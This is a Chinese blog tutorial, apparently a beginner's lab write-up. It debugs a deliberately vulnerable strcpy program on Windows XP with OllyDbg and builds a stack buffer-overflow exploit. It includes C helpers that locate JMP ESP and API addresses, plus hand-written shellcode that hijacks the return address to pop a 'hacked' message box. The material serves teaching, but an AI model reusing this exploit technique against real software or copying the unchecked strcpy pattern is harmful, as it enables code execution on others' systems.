分析缓冲区溢出漏洞并编写shellcode进行简单攻击(OllyDbg+VC6.0+WindowsXP)

测试环境

  1. 操作系统:WindowsXP
  2. 选用工具:VC6.0、OllyDbg

因为古旧的系统漏洞比较多,所以本人在VMware Workstation虚拟机上装了XP系统来测试,VC6.0是写代码用的,OllyDbg是测试用的,工具就自己去下载吧

具体测试步骤

一、编写缓冲区溢出的代码并执行
  1. 代码如下:
#include <stdio.h>
#include <string.h>
char name[] = "ABCDEFGHIJKLMNOPQRST";
int main()
{
    
    
	char buffer[8];
	strcpy(buffer, name);
	printf("%s\n", buffer);
	getchar();
	return 0;
}
  1. 运行结果如下:
    在这里插入图片描述
二、获取可执行文件
  1. 首先,在VC里,使用Win32 Release的方式组建代码,如下图,选择好组建方式,重新编译即可(如果没有这个选项,鼠标放在工具栏上,右键,在出现的窗口里把"组建"勾上就可以了
    在这里插入图片描述
  2. 然后在项目目录下就会出现Release文件夹,里面的.exe可执行文件就是我们要使用OllyDbg来分析的对象
三、使用OllyDbg分析可执行文件
  1. 使用OllyDbg开始调试
  • 打开OllyDbg,把上一步获取的.exe文件直接拖进去,就是用OllyDbg打开了.exe文件
    在这里插入图片描述
  • 调试常用快捷键如下:
· F2:设置断点,在光标定位的位置按F2键即可,再按一次则会删除断点;
· F3:加载一个可执行程序,进行调试分析,即打开文件;
· F4:程序执行到光标选定位置暂停;
· F7:单步步入,进入函数实现内,遇到CALL等子程序时回进入其中,进入后首先会停留在子程序的第一条指令上;
· F8:单步步过,每按一次只想一条反汇编窗口中的指令,越过函数实现,CALL指令不会跟进函数实现;
· F9:直接运行程序,遇到断点处,程序暂停;
· Ctrl+F2:重新运行到程序起始处,用于重新调试程序;
· Ctrl+F9:执行到函数返回处,用于跳出函数实现;
· Alt+F9:执行到用户代码处,用于快捷跳出系统函数;
· Ctrl+G:输入十六进制地址,在反汇编或数据窗口中快速定位到该地址处;

(注意:此处由于笔记本电脑的F1-F12都具有特定的功能,考虑到其优先级问题,在使用快捷键时要同时按住fn键,即使用f2时,应同时按下fn+f2,其他类似)

  1. 判定main函数的地址
  • 使用快捷键f8单步运行,直到弹出运行窗口,此处即为main函数的位置,如下图,00401694就是main函数的地址,在此处按快捷键f2下一个断点
    【分析:main函数的语句是call xxxx.00401005,说明会跳到另外的地址执行,正常的程序在执行完main函数之后,会跳回到main函数的下一个地址即00401699地址来继续往后执行】
    在这里插入图片描述
  1. 进入main函数,分析call语句执行前后栈空间的变化
  • 快捷键ctrl+f2重新调试程序,f9直接运行程序,遇到断点程序暂停,此时程序暂停在上一步下的断点处,即main函数调用处,f7单步步入,进入main函数内部
  • call语句执行时会先将call语句的下一条语句所在地址00401699压入栈,存储在栈空间0012FF84处;
  • 然后再jmp到call语句所在的00401005地址处。如下图:
    在这里插入图片描述
  1. 分析溢出的程序对栈空间的影响
  • 使用strcpy语句将name中的值复制到buffer[]里面之后,发现数据从地址0012FF78开始存储,buffer花粉的八个字节存储完毕之后,继续往相邻的空间进行覆盖,直到name中的内容全部存放完毕;如下图:
    在这里插入图片描述
  • 发现原本存放返回地址00401699的栈空间0012FF84被溢出的数据所覆盖,里面存放的是”MNOP”的Ascll码值504F4E4D。
  1. 继续f8执行
  • 一直f8到main函数结束并返回,发现一片空白,继续f8单步运行,报错,而此处显示的内存地址与程序执行时报错显示的地址均为504F4E4D,即上一步存放在栈空间0012FF84处的”MNOP”的Ascll码值,这说明操作系统误把溢出在此处的数据当作返回地址进行了返回。如下图:
    在这里插入图片描述
  1. 缓冲区溢出漏洞总结
  • 溢出原因是因为输入了过长的字符,本身又没有有限的验证机制,于是导致过长字符将返回地址给覆盖掉,当函数需要返回时,由于地址是无效的,因此导致程序出错。
四、编写shellcode进行攻击

攻击思路:如果给一个有效的地址覆盖原有返回地址,让函数返回时跳到攻击者设计好的代码处,执行攻击者设定好的程序,就是构造出一个有效地址,该地址处指令可以跳转去执行让计算机执行的代码(shellcode),就可以进行攻击。

  1. 精准定位返回地址的位置
  • 根据程序运行的错误提示,由于准备的是一长串不同的字符,那么查询ascll码表可知错误信息中的504f4e4d是”MNOP”的ascll值,因此可以定位
  • 记录:char name[] = “ABCDEFGHIJKLXXXX”,XXXX处就是返回地址
  1. 寻找一个合适的地址,用于覆盖原返回地址
  • 当main执行完毕时,ESP寄存器内容会自动变成返回地址的下一个位置,并且这种变化不受任何程序影响;
  • 将XXXX编写成JMP ESP,利用ESP这个跳板进行跳转,转到想让计算机执行的shellcode所在地址处执行;
  • 利用这一特性,可以将shellcode放到ESP指向地址处,即在返回地址处使其转到JMP ESP语句,此时的ESP自动指向栈空间的下一个位置,执行完JMP ESP之后,程序即跳转到ESP所保存的地址中去执行;
  • 如果事先将shellcode入栈,那么跳到栈空间处执行时,执行的就是攻击者编写好的shellcode,即能完成攻击。
  1. 编写shellcode到对应的缓冲区中
  • 查阅JMP ESP的机器码为FFE4,编写程序在动态链接库中查找JMP ESP的有效地址;查找代码如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
    
    
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("user32.dll");
	if(!handle)  {
    
    
		printf("load dll error!");
		exit(0);
	}
	ptr = (BYTE*) handle;
	for(position = 0; !done_flag; position++)  {
    
    
		try  {
    
    
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)  {
    
    
				int address = (int)ptr + position;
				printf("CODE found at 0x%x\n", address);
			}
		}
		catch(...)  {
    
    
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
	getchar();
	return 0;
}
  • 查找结果如下图:
    在这里插入图片描述
  • 明确攻击方式:这里只是简单攻击,就打算弹出一个MessageBox对话框,之后退出程序
  • 编写程序在动态链接库中查找MessageBox和ExitProcess函数的调用地址;前者是用于弹出对话框,后者是用于退出程序,代码如下:
// 查找MessageBox
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
    
    
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32");
	//get user32.dll Address
	printf("user32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	//get MessageBoxA Address
	printf("MessageBoxA = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}
// 查找ExitProcess
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
    
    
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("kernel32");
	//get kernel32.dll Address
	printf("kernel32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
	//get ExitProcess Address
	printf("ExitProcess = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}
  • 查找结果如下
    在这里插入图片描述 在这里插入图片描述
  • 记录查找到的有效地址,随便一个都可以用,本人在这里选取如下地址
    jmp esp : 0x77e1f2c8 MessageBox : 0x77d507ea ExitProcess : 0x7c81cafa
  • 编写shellcode,代码如下:
char name[] = "\x41\x42\x43\x44\x45\x46\x47\x48"//填充到name[0]-[7]  "ABCDEFGH" 
			  //( x41是'A'的Ascll值的16进制表示,后面类似 )
			  "\x49\x4A\x4B\x4C"				//填充到EBP  "IJKM"
			  //就是之前找到的jmp esp的地址77e1f2c8
			  "\xC8\xF2\xE1\x77"				//被覆盖到Return Adderss显示的位置
			  //从这里开始是shellcode
			  "\x83\xEC\x50"					//sub esp,0x50  预留保护空间
			  "\x33\xDB"						//xor ebx,ebx   相当于把ebx清零
			  "\x53"		  					//push ebx
			  //push i   n   g  空格
			  "\x68\x69\x6E\x67\x20"
			  //push  W	 a	 r   n
			  "\x68\x57\x61\x72\x6E"			//push "Warning"
			  "\x8B\xC4"						//mov eax,esp
			  "\x53"							//push ebx
			  "\x68\x21\x21\x20\x20"
			  "\x68\x20\x75\x70\x21"
			  "\x68\x47\x69\x76\x65"			//push "Give up!!!  "
			  "\x68\x21\x21\x21\x20"
			  "\x68\x63\x6B\x65\x64"
			  "\x68\x6E\x20\x68\x61"			//\x68是push
			  "\x68\x20\x62\x65\x65"
			  "\x68\x68\x61\x76\x65"
			  "\x68\x59\x6F\x75\x20"			//push "You have been hacked!!! "
			  //"\x68\x6F\x21\x20\x20"
			  //"\x68\x48\x65\x6C\x6C"			//push "Hello! You have been hacked!"
			  "\x8B\xCC"						//mov ecx,esp
			  "\x53"							//push ebx
			  "\x50"							//push eax
			  "\x51"							//push ecx
			  "\x53"							//push ebx
			  //就是之前找到的messagebox的地址77d507ea
			  "\xB8\xEA\x07\xD5\x77"			//mov eax,0x77D507EA
			  "\xFF\xD0"						//call eax  调用MessageBoxA显示对话框
			  "\x53"							//push ebx
			  //就是之前找到的editprocess的地址7c81cafa
			  "\xB8\xFA\xCA\x81\x7C"			//mov eax,0x7C81CAFA
			  "\xFF\xD0";						//call eax  调用ExitProcess退出程序
  1. 使用Ollydbg分析加入了shellcode的程序
  • 代码如下:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
// 这里加入上面写的shellcode!!!!!!!!
int main()
{
    
    
	char buffer[8];
	LoadLibrary("user32.dll");
	strcpy(buffer, name);
	printf("%s\n", buffer);
	getchar();
	return 0;
}
  • 同样按照上面的步骤获取以Release组建方式获取的.exe可执行文件
  • 使用OllyDbg打开该文件,同样的步骤:
    f8找到main函数->f2下断点->ctrl+f2重新调试->f9执行到断点处->f7步入main函数,一直运行到name中的数据入栈,如下图:
    在这里插入图片描述
  • 此时可看到在原本存储返回地址的栈空间0012FF84处存储的是预设好的JMP ESP命令的有效地址0x77E1F2C8
  • 继续f8运行,程序进行返回跳转之后(即跳出main函数之后)跳转到了77E1F2C8地址处,此处有一个jmp esp语句,而此时的ESP指向的地址是栈空间地址0012FF88;如下图:
    在这里插入图片描述
  • 执行完jmp esp命令后,就会跳转到地址0012FF88继续执行,而此处均为之前入栈的shellcode,那么就会顺序执行攻击者所编写的命令;如下图:
    在这里插入图片描述
  • 其中,将参数传入栈后,按照刚刚查找到的地址调用MessageBox函数显示对话框和调用ExitProcess函数退出程序。如下图:
    在这里插入图片描述
  • 最终程序的运行结果是:显示预设好的对话框,点击确定之后退出程序。如下图:
    在这里插入图片描述
    至此,攻击分析结束。

本人尚为初学者,欢迎交流。

猜你喜欢

转载自blog.csdn.net/qq_43685399/article/details/107300358